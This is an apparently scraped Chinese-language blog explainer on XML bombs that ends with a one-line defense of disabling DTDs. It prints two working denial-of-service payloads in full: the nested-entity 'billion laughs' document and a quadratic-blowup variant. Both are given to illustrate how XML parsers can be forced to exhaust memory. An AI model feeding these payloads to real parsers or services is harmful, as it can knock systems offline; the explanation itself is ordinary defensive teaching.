XML炸彈
XML document type definition (DTD)能夠定義entity,DTD能夠出如今外部文件或文件內部。
利用DTD能夠產生XML炸彈,也就是能迅速佔用大量內存的文件,以下爲例:
當XML解析器嘗試解析該文件時,因爲DTD的定義指數級展開,這個1K不到的文件會佔用到3G的內存。spa
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?xml version=
"1.0"
?>
<!DOCTYPE lolz [
<!ENTITY lol
"lol"
>
<!ENTITY lol2
"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"
>
<!ENTITY lol3
"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"
>
<!ENTITY lol4
"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"
>
<!ENTITY lol5
"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"
>
<!ENTITY lol6
"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"
>
<!ENTITY lol7
"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"
>
<!ENTITY lol8
"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"
>
<!ENTITY lol9
"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"
>
]>
<lolz>&lol9;</lolz>
|
還有一種,雖然擴展率沒那麼大,也頗有效。200K的可以擴展到2.5G。code
1
2
3
4
5
|
<?xml version=
"1.0"
?>
<!DOCTYPE kaboom [
<!ENTITY a
"aaaaaaaaaaaaaaaaaa..."
>
]>
<kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>
|
防護XML炸彈
禁止DTDxml